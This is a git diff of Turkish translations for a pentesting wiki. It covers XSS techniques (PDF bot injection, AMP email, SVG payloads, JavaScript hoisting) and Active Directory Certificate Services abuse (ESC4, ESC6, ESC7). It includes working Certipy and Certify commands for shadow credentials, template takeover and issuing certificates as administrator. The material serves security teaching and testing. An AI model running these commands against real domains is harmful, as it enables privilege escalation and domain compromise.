PDF'yi oluşturan **bot'u kandırarak** **herhangi bir JS kodu çalıştırmasını** sağlayabilirsiniz.\ +Yani, eğer **PDF creator bot** herhangi bir **HTML** **tags** bulursa, bunları **interpret** edecek ve bu davranışı **abuse** ederek bir **Server XSS** tetikleyebilirsiniz. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Eğer HTML etiketleri enjekte edemiyorsanız, **inject PDF data** denemeye değer olabilir: +Eğer HTML tags enjekte edemiyorsanız, **inject PDF data** denemeye değer olabilir: {{#ref}} @@ -1623,11 +1625,11 @@ pdf-injection.md ### Amp4Email'de XSS -AMP, mobil cihazlardaki web sayfası performansını hızlandırmayı amaçlayan; işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir ve hız ile güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara [AMP components](https://amp.dev/documentation/components/?format=websites) üzerinden erişilebilir. +AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayan, işlevselliği sağlamak için JavaScript ile desteklenmiş HTML tag'larını içeren; hız ve güvenliğe vurgu yapan bir teknolojidir. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara [AMP components](https://amp.dev/documentation/components/?format=websites) üzerinden erişilebilir. -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar. +[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşime girmesini sağlar. -Örnek [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Örnek: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS dosya yükleme (svg) @@ -1687,9 +1689,9 @@ id="foo"/> ```xml ``` -Daha fazla **SVG payloads için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Daha fazla **SVG payloads için** bak: [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Çeşitli JS Hileleri ve İlgili Bilgiler +## Çeşitli JS Hileleri & İlgili Bilgiler {{#ref}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index ced5c7889..bd0bfde7c 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Temel Bilgi +## Temel Bilgiler -JavaScript dilinde, değişkenlerin, fonksiyonların, class'ların veya imports'ın bildirimlerinin kod çalıştırılmadan önce kapsamlarının başına kavramsal olarak taşındığı **Hoisting** adlı bir mekanizma vardır. Bu süreç, JavaScript motoru tarafından otomatik olarak gerçekleştirilir; motor script'i birden fazla geçişte işler. +JavaScript dilinde, değişken, fonksiyon, sınıf veya import bildirimlerinin kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği **Hoisting** adlı bir mekanizma vardır. Bu süreç, script'i birden fazla geçişte işleyen JavaScript motoru tarafından otomatik olarak gerçekleştirilir. -İlk geçişte motor, sözdizimi hatalarını kontrol etmek için kodu parse eder ve onu bir abstract syntax tree'ye dönüştürür. Bu aşama hoisting'i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir işlemdir. Parse aşaması başarılı ve sözdizimi hatası yoksa script'in yürütülmesine devam edilir. +İlk geçişte motor, sözdizimi hatalarını kontrol etmek için kodu parse eder ve onu bir soyut sözdizim ağacına (abstract syntax tree) dönüştürür. Bu aşama hoisting'i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir süreçtir. Parse aşaması başarılı olup sözdizimi hatası yoksa script yürütülmesine devam edilir. -Anlaşılması kritik olan noktalar: +Şunu anlamak önemlidir: -1. Yürütmenin gerçekleşmesi için script'in sözdizimi hatalarından arınmış olması gerekir. Sözdizimi kurallarına sıkı şekilde uyulmalıdır. -2. Kodun script içindeki yerleşimi, hoisting nedeniyle yürütmeyi etkiler; çalıştırılan kod metinsel gösteriminden farklı olabilir. +1. Script'in yürütülebilmesi için sözdizimi hatası içermemesi gerekir. Sözdizimi kurallarına kesinlikle uyulmalıdır. +2. Kodun script içindeki yerleşimi hoisting nedeniyle yürütmeyi etkiler; yürütülen kod metinsel gösteriminden farklı olabilir. -#### Types of Hoisting +#### Hoisting Türleri -MDN'den elde edilen bilgilere dayanarak, JavaScript'te dört ayrı hoisting türü vardır: +MDN'den alınan bilgilere göre JavaScript'te dört farklı hoisting türü vardır: -1. **Value Hoisting**: Bir değişkenin bildirim satırından önce kapsamı içinde değerinin kullanılmasına olanak tanır. -2. **Declaration Hoisting**: Bir değişkenin bildiriminden önce kapsamı içinde referans verilmesine izin verir; `ReferenceError` oluşmaz ancak değişkenin değeri `undefined` olacaktır. -3. Bu tür, değişkenin gerçek bildirim satırından önce bildirilmesi nedeniyle kapsam içindeki davranışı değiştirir. -4. Deklarasyonun yan etkileri, onu içeren diğer kod değerlendirilmeden önce gerçekleşir. +1. **Value Hoisting**: Bir değişkenin değerinin, deklarasyon satırından önce kapsamı içinde kullanılabilmesini sağlar. +2. **Declaration Hoisting**: Bir değişkene deklarasyonundan önce kapsamı içinde başvurmayı `ReferenceError` oluşturmadan sağlar, ancak değişkenin değeri `undefined` olur. +3. Bu tür, değişkenin gerçek deklarasyon satırından önce bildirilmiş gibi davranılmasından dolayı kapsam içindeki davranışı değiştirir. +4. Bildirimin yan etkileri, onu içeren geri kalan kod değerlendirilmeden önce gerçekleşir. -Detaylandırmak gerekirse, function bildirimleri type 1 hoisting davranışı gösterir. `var` anahtar kelimesi type 2 davranışı sergiler. `let`, `const` ve `class`'ı içeren lexical deklarasyonlar type 3 davranışını gösterir. Son olarak, `import` ifadeleri hem type 1 hem de type 4 davranışlarıyla hoist edilir. +Detaylı olarak, function deklarasyonları type 1 hoisting davranışı gösterir. `var` anahtar kelimesi type 2 davranışı gösterir. Lexical deklarasyonlar, `let`, `const` ve `class` dahil, type 3 davranışı gösterir. Son olarak, `import` ifadeleri hem type 1 hem de type 4 davranışlarla hoisted oldukları için benzersizdir. ## Senaryolar -Dolayısıyla, eğer bir undeclared object kullanıldıktan sonra **Inject JS code after an undeclared object** yapabileceğiniz senaryolarınız varsa, sözdizimini onu bildirerek **fix the syntax** yapabilirsiniz (böylece hata fırlatmak yerine kodunuz çalıştırılır): +Bu nedenle, eğer kullanılmamış (undeclared) bir obje kullanıldıktan sonra JS kodu enjekte edebileceğiniz senaryolar varsa, onu bildirerek sözdizimini düzeltebilir (böylece hata fırlatmak yerine kodunuz çalıştırılır): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -68,7 +68,7 @@ alert(1); test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` -## Diğer Senaryolar +## Daha Fazla Senaryo ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) @@ -129,9 +129,9 @@ alert(1) - } trigger() ``` -### const ile bir adı kilitleyerek sonraki bildirimleri önleyin +### const ile bir ismi kilitleyerek sonraki bildirimleri önleyin -Eğer üst düzey (top-level) `function foo(){...}` ayrıştırılmadan önce çalıştırma şansınız varsa, aynı isimle bir leksikal bağlama (ör. `const foo = ...`) tanımlamak, sonraki fonksiyon bildiriminin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanan kritik handler'ları RXSS ile hijack etmek için kötüye kullanılabilir: +Eğer bir üst düzey `function foo(){...}` ayrıştırılmadan önce çalıştırma yapabiliyorsanız, aynı isimle leksikal bir bağlama tanımlamak (ör. `const foo = ...`) daha sonra gelen function bildirimlerinin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanan kritik handler'ları ele geçirmek için RXSS'te kötüye kullanılabilir: ```javascript // Malicious code runs first (e.g., earlier inline
-ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma ayrıcalıklarına sahip olduğu durumdur. Örneğin bu, sertifika şablonunun yapılandırmasını üzerine yazmak için kötüye kullanılabilir ve şablonu ESC1'e karşı savunmasız hale getirebilir. +ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma ayrıcalıklarına sahip olduğu durumdur. Bu, örneğin şablonun yapılandırmasını üzerine yazarak şablonu ESC1'e karşı savunmasız hâle getirmek için suistimal edilebilir. -Yukarıdaki yolda gördüğümüz gibi, sadece `JOHNPC` bu ayrıcalıklara sahip, ancak kullanıcı `JOHN`'un `JOHNPC`'ye yeni bir `AddKeyCredentialLink` edge'i var. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım; bu saldırı [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak biliniyor. İşte kurbanın NT hash'ini almak için Certipy’s `shadow auto` komutunun küçük bir önizlemesi. +Yukarıdaki yolda gördüğümüz gibi, yalnızca `JOHNPC` bu ayrıcalıklara sahip, ancak kullanıcı `JOHN`'in `JOHNPC`'ye yeni bir `AddKeyCredentialLink` kenarı var. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım; bu yöntem [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinir. İşte kurbanın NT hash'ini almak için Certipy’s `shadow auto` komutunun küçük bir önizlemesi. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** bir sertifika şablonunun yapılandırmasını tek bir komutla üzerine yazabilir. **Varsayılan olarak**, Certipy yapılandırmayı **ESC1'e karşı savunmasız hale getirecek şekilde üzerine yazar**. Ayrıca eski yapılandırmayı kaydetmek için **`-save-old` parametresini** belirtebiliriz; bu, saldırımızdan sonra yapılandırmayı **geri yüklemek** için faydalı olacaktır. +**Certipy** sertifika şablonunun yapılandırmasını tek bir komutla üzerine yazabilir. By **varsayılan**, Certipy yapılandırmayı **üzerine yazacak** şekilde değiştirir ve bunu **ESC1'e karşı savunmasız** hale getirir. Ayrıca **eski yapılandırmayı kaydetmek için `-save-old` parametresini** belirtebiliriz; bu, saldırımızdan sonra yapılandırmayı **geri yüklemek** için kullanışlı olacaktır. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -181,21 +181,21 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes ### Açıklama -Sertifika şablonları ve sertifika otoritesinin ötesinde birkaç nesneyi içeren, ACL tabanlı ilişkilerin kapsamlı ağı tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilen bu nesneler şunları kapsar: +Sertifika şablonları ve certification authority dışında kalan birkaç nesneyi de içeren, ACL tabanlı geniş ve birbirine bağlı ilişkiler ağı tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunları kapsar: -- CA sunucusunun S4U2Self veya S4U2Proxy gibi mekanizmalarla ele geçirilebilecek AD computer object'i. -- CA sunucusunun RPC/DCOM server'ı. -- Belirli konteyner yolu içinde yer alan herhangi bir alt AD nesnesi veya konteyner: `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Bu yol, Certificate Templates container, Certification Authorities container, NTAuthCertificates object ve Enrollment Services Container gibi konteynerler ve nesneler de dahil olmak üzere çeşitli öğeleri içerir. +- CA sunucusunun AD bilgisayar nesnesi; S4U2Self veya S4U2Proxy gibi mekanizmalarla ele geçirilebilir. +- CA sunucusunun RPC/DCOM sunucusu. +- Belirli konteyner yolu `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` içindeki herhangi bir alt düzey AD nesnesi veya konteyner. Bu yol, ancak bunlarla sınırlı olmamak üzere Certificate Templates container, Certification Authorities container, NTAuthCertificates object ve Enrollment Services Container gibi konteyner ve nesneleri içerir. -PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırgan bu kritik bileşenlerin herhangi birinin kontrolünü ele geçirirse tehlikeye girebilir. +Düşük ayrıcalıklı bir saldırgan bu kritik bileşenlerden birinin kontrolünü ele geçirirse PKI sisteminin güvenliği tehlikeye girebilir. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Açıklama -[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) içinde ele alınan konu ayrıca Microsoft tarafından belirtildiği üzere **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerine de değinir. Bu yapılandırma, bir Certification Authority (CA) üzerinde etkinleştirildiğinde, Active Directory®'den oluşturulanlar da dahil olmak üzere **herhangi bir istek** için **subject alternative name** içine **kullanıcı tanımlı değerlerin** eklenmesine izin verir. Sonuç olarak, bu düzenleme bir **saldırganın** alan **authentication** için yapılandırılmış—özellikle standart User template gibi ayrıcalıksız kullanıcıların kayıt olabildiği—**herhangi bir template** üzerinden kayıt olmasına olanak tanır. Böylece bir sertifika elde edilerek saldırganın etki alanı yöneticisi veya etki alanı içindeki **herhangi başka aktif varlık** olarak kimlik doğrulaması yapması mümkün olabilir. +[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) içinde ele alınan konu aynı zamanda Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerine de değinir. Bu yapılandırma bir Certification Authority (CA) üzerinde etkinleştirildiğinde, Active Directory®'den oluşturulanlar da dahil olmak üzere **herhangi bir istek** için **subject alternative name** içine **kullanıcı tanımlı değerlerin** eklenmesine izin verir. Sonuç olarak, bu düzenleme bir **saldırganın** alan **authentication** için ayarlanmış herhangi bir **template** üzerinden—özellikle standart User template gibi ayrıcalıksız kullanıcı kayıtlarına açık olanlardan—kayıt olmasına imkan tanır. Böylelikle bir sertifika edinilerek saldırgan domain yöneticisi veya etki alanındaki **herhangi bir diğer aktif varlık** olarak kimlik doğrulaması yapabilir. -**Not**: `certreq.exe` içindeki `-attrib "SAN:"` argümanı (“Name Value Pairs” olarak anılan) aracılığıyla bir Certificate Signing Request'e (CSR) alternatif adların eklenme yöntemi, ESC1'deki SAN kötüye kullanım stratejisinden farklılık gösterir. Buradaki ayrım, hesap bilgilerinin bir uzantı yerine bir sertifika özniteliği içinde **nasıl kapsüllediği**dir. +**Not**: `-attrib "SAN:"` argümanı ile `certreq.exe` içinde Name Value Pairs olarak anılan şekilde bir Certificate Signing Request (CSR) içine alternatif adlar ekleme yöntemi, ESC1'deki SAN'ların kötüye kullanımı stratejisinden bir **fark** gösterir. Buradaki ayırıcı nokta, hesap bilgilerinin nasıl kapsüllediğidir—bir uzantı yerine sertifika özniteliği içinde. ### Kötüye Kullanım @@ -203,11 +203,11 @@ Ayarın etkin olup olmadığını doğrulamak için kuruluşlar `certutil.exe` i ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Bu işlem esasen **remote registry access** kullanır, bu nedenle alternatif bir yaklaşım şöyle olabilir: +Bu işlem esasen **remote registry access** kullanır, dolayısıyla alternatif bir yaklaşım şu olabilir: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Bu yanlış yapılandırmayı tespit edip istismar edebilen [**Certify**](https://github.com/GhostPack/Certify) ve [**Certipy**](https://github.com/ly4k/Certipy) gibi araçlar şunlardır: +[**Certify**](https://github.com/GhostPack/Certify) ve [**Certipy**](https://github.com/ly4k/Certipy) gibi araçlar bu yanlış yapılandırmayı tespit edebilir ve sömürebilir: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -216,7 +216,7 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Bu ayarları değiştirmek için, kişinin **domain administrative** haklarına veya eşdeğer yetkiye sahip olduğu varsayılırsa, aşağıdaki komut herhangi bir iş istasyonundan çalıştırılabilir: +Bu ayarları değiştirmek için, birinin **etki alanı yönetici hakları** veya eşdeğerine sahip olduğu varsayıldığında, aşağıdaki komut herhangi bir iş istasyonundan çalıştırılabilir: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` @@ -225,30 +225,30 @@ Bu yapılandırmayı ortamınızda devre dışı bırakmak için bayrak şu şek certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> May 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar** **talep edenin `objectSid` özelliğini** içeren bir **güvenlik uzantısı** içerecektir. ESC1 için, bu SID belirtilen SAN'dan türetilir. Ancak, **ESC6** için SID, SAN değil **talep edenin `objectSid`**'ini yansıtır.\ -> ESC6'yı istismar etmek için, sistemin **SAN'ı yeni güvenlik uzantısı yerine önceliklendiren** ESC10 (Weak Certificate Mappings) için savunmasız olması gerekir. +> May 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar** bir **güvenlik uzantısı** içerecek ve bu uzantı **istek sahibinin `objectSid` özelliğini** barındıracaktır. ESC1 için bu SID belirtilen SAN'dan türetilir. Ancak **ESC6** için SID, SAN yerine **istek sahibinin `objectSid`** değerini yansıtır.\ +> ESC6'yı kullanabilmek için, sistemin ESC10 (Weak Certificate Mappings) zafiyetine açık olması gerekir; bu zafiyet **yeni güvenlik uzantısı yerine SAN'ı önceliklendirir**. -## Zafiyetli Sertifika Yetkilisi Erişim Kontrolü - ESC7 +## Zayıf Sertifika Yetkilisi Erişim Kontrolü - ESC7 ### Saldırı 1 #### Açıklama -Bir sertifika yetkilisi için erişim denetimi, CA eylemlerini yöneten bir dizi izin aracılığıyla sağlanır. Bu izinler `certsrv.msc`'yi açıp bir CA'ya sağ tıklayıp özellikleri seçerek ve ardından Security sekmesine giderek görüntülenebilir. Ek olarak, izinler PSPKI modülü kullanılarak şu gibi komutlarla sıralanabilir: +Bir sertifika yetkilisi için erişim kontrolü, CA işlemlerini yöneten bir dizi izin aracılığıyla sağlanır. Bu izinler `certsrv.msc`'ye erişip bir CA'ya sağ tıklayarak, Properties'i seçip Security sekmesine gidilerek görülebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu tür komutlarla enumerate edilebilir: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Bu, sırasıyla **`ManageCA`** ve **`ManageCertificates`** haklarına karşılık gelen birincil haklar hakkında, “CA yöneticisi” ve “Sertifika Yöneticisi” rollerine ilişkin içgörüler sağlar. +This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively. #### Kötüye Kullanım -Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, principal'in PSPKI kullanarak uzak ayarları değiştirmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtilmesine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açıp kapamayı içerir; bu, domain yükseltmesi açısından kritik bir unsurdur. +Bir certificate authority üzerinde **`ManageCA`** haklarına sahip olmak, ilgili hesabın PSPKI kullanarak ayarları uzaktan değiştirmesine olanak sağlar. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açıp kapamak gibi işlemleri içerir; bu, domain escalation için kritik bir konudur. -Bu işlemin basitleştirilmesi, PSPKI’nin **Enable-PolicyModuleFlag** cmdlet'i kullanılarak sağlanabilir; böylece doğrudan GUI etkileşimi olmadan değişiklik yapılabilir. +Bu süreç PSPKI’nin **Enable-PolicyModuleFlag** cmdlet’inin kullanılmasıyla basitleştirilebilir; bu sayede doğrudan GUI ile etkileşime girmeden değişiklik yapılabilir. -**`ManageCertificates`** haklarına sahip olmak, bekleyen taleplerin onaylanmasını kolaylaştırır ve böylece “CA sertifika yöneticisi onayı” güvenliğini fiilen atlatır. +**`ManageCertificates`** haklarına sahip olmak, bekleyen talepleri onaylamayı kolaylaştırır ve böylece “CA certificate manager approval” korumasını fiilen baypas eder. -Bir sertifika talep etmek, onaylamak ve indirmek için **Certify** ve **PSPKI** modüllerinin kombinasyonu kullanılabilir: +Bir sertifika istemek, onaylamak ve indirmek için **Certify** ve **PSPKI** modüllerinin kombinasyonu kullanılabilir: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -269,17 +269,17 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Açıklama > [!WARNING] -> Önceki saldırıda **`Manage CA`** izinleri **EDITF_ATTRIBUTESUBJECTALTNAME2** bayrağını etkinleştirmek için kullanıldı ve **ESC6 attack** gerçekleştirildi, ancak CA servisi (`CertSvc`) yeniden başlatılana kadar bunun hiçbir etkisi olmayacaktır. Bir kullanıcı `Manage CA` erişim hakkına sahip olduğunda, kullanıcıya **servisi yeniden başlatma** izni de verilir. Ancak bu, kullanıcının servisi uzaktan yeniden başlatabileceği anlamına gelmez. Ayrıca, E**SC6 might not work out of the box** çoğu yamalanmış ortamda May 2022 güvenlik güncellemeleri nedeniyle çalışmayabilir. +> Önceki saldırıda **`Manage CA`** izinleri **EDITF_ATTRIBUTESUBJECTALTNAME2** bayrağını etkinleştirmek için kullanıldı ve **ESC6 attack** gerçekleştirilmek istendi, ancak CA servisi (`CertSvc`) yeniden başlatılana kadar bunun herhangi bir etkisi olmayacaktır. Bir kullanıcı `Manage CA` erişim hakkına sahip olduğunda, kullanıcının **servisi yeniden başlatmasına** da izin verilir. Ancak bu, kullanıcının **servisi uzaktan yeniden başlatabileceği anlamına gelmez**. Ayrıca, Mayıs 2022 güvenlik güncellemeleri nedeniyle, **ESC6 kutudan çıktığı gibi çoğu yamalı ortamda çalışmayabilir**. -Bu nedenle burada başka bir saldırı sunuluyor. +Bu nedenle, burada başka bir saldırı sunuluyor. -Önkoşullar: +Ön koşullar: -- Sadece **`ManageCA` permission** -- **`Manage Certificates`** izni ( **`ManageCA`** üzerinden verilebilir) -- Sertifika şablonu **`SubCA`** **etkin** olmalıdır ( **`ManageCA`** üzerinden etkinleştirilebilir) +- Sadece **`ManageCA`** izni +- **`Manage Certificates`** izni (**`ManageCA`** üzerinden verilebilir) +- Sertifika şablonu **`SubCA`** **etkinleştirilmiş** olmalıdır (**`ManageCA`** üzerinden etkinleştirilebilir) -Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri oluşturabileceği** gerçeğine dayanır. **`SubCA`** sertifika şablonu **ESC1**'e karşı savunmasızdır, ancak şablona yalnızca **yöneticiler** kayıt olabilir. Bu nedenle bir **kullanıcı**, **`SubCA`** için kayıt talep edebilir — bu talep **reddedilecektir** — ancak daha sonra yönetici tarafından **verilecektir**. +Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri oluşturabileceği** gerçeğine dayanır. **`SubCA`** sertifika şablonu **ESC1'e karşı savunmasızdır**, ancak şablona kayıt yaptırabilecek olan **yalnızca yöneticilerdir**. Bu nedenle bir **kullanıcı**, **`SubCA`**'ya kayıt için **istek** gönderebilir — bu **reddedilecektir** — fakat daha sonra yönetici tarafından **verilecektir**. #### Kötüye Kullanım @@ -302,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Bu saldırı için önkoşulları yerine getirdiysek, **`SubCA` şablonuna dayalı bir sertifika talep ederek** başlayabiliriz. +Bu saldırı için ön koşulları yerine getirdiysek, **`SubCA` şablonuna dayalı bir sertifika talep ederek** başlayabiliriz. -**Bu istek reddedilece**k, ancak özel anahtarı kaydedeceğiz ve istek kimliğini not edeceğiz. +**Bu istek reddedilecek**, fakat özel anahtarı kaydedeceğiz ve istek ID'sini not edeceğiz. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -316,7 +316,7 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Sahip olduğumuz **`Manage CA` ve `Manage Certificates`** ile başarısız sertifika isteğini `ca` komutu ve `-issue-request ` parametresi ile **çıkarabiliriz**. +**`Manage CA` ve `Manage Certificates`** ile `ca` komutu ve `-issue-request ` parametresiyle başarısız sertifika isteğini **verebiliriz**. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -335,24 +335,24 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Saldırı 3 – Manage Certificates Extension Abuse (SetExtension) +### Attack 3 – Manage Certificates Extension Abuse (SetExtension) #### Açıklama -Klasik ESC7 suistimallerine (EDITF özniteliklerini etkinleştirmek veya bekleyen istekleri onaylamak) ek olarak, **Certify 2.0** Enterprise CA üzerinde yalnızca *Manage Certificates* (diğer adıyla **Certificate Manager / Officer**) rolünü gerektiren tamamen yeni bir primitive ortaya çıkardı. +Klasik ESC7 istismarlarına (EDITF özniteliklerini etkinleştirme veya bekleyen istekleri onaylama) ek olarak, **Certify 2.0** yalnızca Enterprise CA üzerinde *Manage Certificates* (diğer adıyla **Certificate Manager / Officer**) rolünü gerektiren tamamen yeni bir primitive ortaya koydu. -`ICertAdmin::SetExtension` RPC yöntemi, *Manage Certificates* yetkisine sahip herhangi bir principal tarafından çalıştırılabilir. Bu yöntem geleneksel olarak meşru CAs tarafından **pending** isteklerdeki uzantıları güncellemek için kullanılırken, bir saldırgan onu onay bekleyen bir isteğe **varsayılan olmayan bir sertifika uzantısı eklemek** (ör. `1.1.1.1` gibi özel bir *Certificate Issuance Policy* OID'si) için kötüye kullanabilir. +`ICertAdmin::SetExtension` RPC yöntemi *Manage Certificates* yetkisine sahip herhangi bir principal tarafından çalıştırılabilir. Yöntem geleneksel olarak meşru CA'lar tarafından **bekleyen** isteklerde uzantıları güncellemek için kullanılırken, bir saldırgan bunu bekleyen bir isteğe **varsayılan olmayan bir sertifika uzantısı** (ör. `1.1.1.1` gibi özel bir *Certificate Issuance Policy* OID'si) **eklemek** için kötüye kullanabilir. -Hedeflenen şablon bu uzantı için **varsayılan bir değer tanımlamadığı** için, CA istek nihayet verildiğinde saldırgan tarafından kontrol edilen değeri ÜSTÜNE yazmayacaktır. Sonuç olarak oluşan sertifika saldırgan tarafından seçilmiş bir uzantı içerir ve bu uzantı: +Hedeflenen şablon bu uzantı için **varsayılan bir değer tanımlamadığı** için, istek nihai olarak verildiğinde CA saldırgan kontrollü değeri ÜZERİNE YAZMAZ. Sonuç olarak ortaya çıkan sertifika saldırgan tarafından seçilmiş bir uzantı içerir ve bu şu riskleri doğurabilir: -* Diğer savunmasız şablonların Application / Issuance Policy gereksinimlerini karşılayarak ayrıcalık yükselmesine yol açabilir. -* Sertifikanın üçüncü taraf sistemlerde beklenmeyen güven kazanmasını sağlayan ek EKU'lar veya politikalar enjekte edebilir. +* Diğer savunmasız şablonların Application / Issuance Policy gereksinimlerini karşılayarak ayrıcalık yükseltmeye yol açabilir. +* Sertifikaya ek EKU veya politikalar enjekte edilerek üçüncü taraf sistemlerde beklenmedik bir güven kazandırabilir. -Kısacası, daha önce ESC7'nin "daha az güçlü" yarısı olarak düşünülen *Manage Certificates*, artık CA yapılandırmasına dokunmadan veya daha kısıtlı olan *Manage CA* hakkını gerektirmeden tam ayrıcalık yükseltme veya uzun süreli kalıcılık için kullanılabilir. +Kısacası, daha önce ESC7'nin “daha az güçlü” yarısı olarak görülen *Manage Certificates*, artık CA yapılandırmasına dokunmadan veya daha kısıtlı *Manage CA* hakkını gerektirmeden tam ayrıcalık yükseltme veya uzun vadeli persistence için kullanılabilir. -#### Certify 2.0 ile bu primitive'in kötüye kullanımı +#### Certify 2.0 ile primitive'ın kötüye kullanımı -1. **Pending** olarak kalacak bir sertifika isteği gönderin. Bu, yönetici onayı gerektiren bir şablonla zorlanabilir: +1. **Beklemede (*pending*) kalacak bir sertifika isteği gönderin.** Bu, yönetici onayı gerektiren bir şablonla zorlanabilir: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval # Take note of the returned Request ID @@ -364,39 +364,39 @@ Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ --set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Eğer şablon zaten *Certificate Issuance Policies* uzantısını tanımlamıyorsa, yukarıdaki değer sertifika verildikten sonra korunacaktır.* +*Eğer şablon zaten *Certificate Issuance Policies* uzantısını tanımlamıyorsa, yukarıdaki değer verilme sonrası korunacaktır.* -3. İsteği verin (rolünüzün ayrıca *Manage Certificates* onay hakları varsa) veya bir operatörün onaylamasını bekleyin. Verildikten sonra sertifikayı indirin: +3. İsteği verin (eğer rolünüzde *Manage Certificates* onay hakları da varsa) veya bir operatörün onaylamasını bekleyin. Verildikten sonra sertifikayı indirin: ```powershell Certify.exe request-download --ca 